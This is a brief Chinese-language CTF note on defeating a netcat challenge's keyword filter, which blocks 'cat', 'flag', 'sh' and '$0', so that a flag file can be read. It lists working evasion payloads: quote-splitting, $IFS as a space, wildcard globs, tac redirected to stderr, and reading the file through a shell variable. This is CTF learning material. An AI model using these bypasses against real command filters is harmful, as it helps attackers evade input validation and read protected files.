nc绕过


cat $flag

“”切割cat
$ IFS $代表空格
f*,所有开头文件

1
ca ""t$IFS$f*

检测输入的命令中是否有“cat”、“flag”、“sh”、“$0”,如果包含就报错。

1
tac fla*>&2

当程序关闭输入流时,可以把输出流重定向到其它地方输出,比如重定向到输入流或者错误输出流都可

  • tac:反向显示文件内容。tac 读取文件的内容,并以相反的顺序输出每一行。
  • fla*:可能是匹配多个文件名的模式,所有匹配 fla* 的文件都会被 tac 处理。
  • >&2:将标准输出(stdout)重定向到标准错误(stderr)。

结合在一起,这个命令的意思是:将所有匹配 fla* 的文件内容反向显示,然后将输出内容重定向到标准错误输出。

通过将文件内容读取到一个变量,然后输出这个变量的内容间接输出文件内容。

1
read -r line < flag && echo "$line"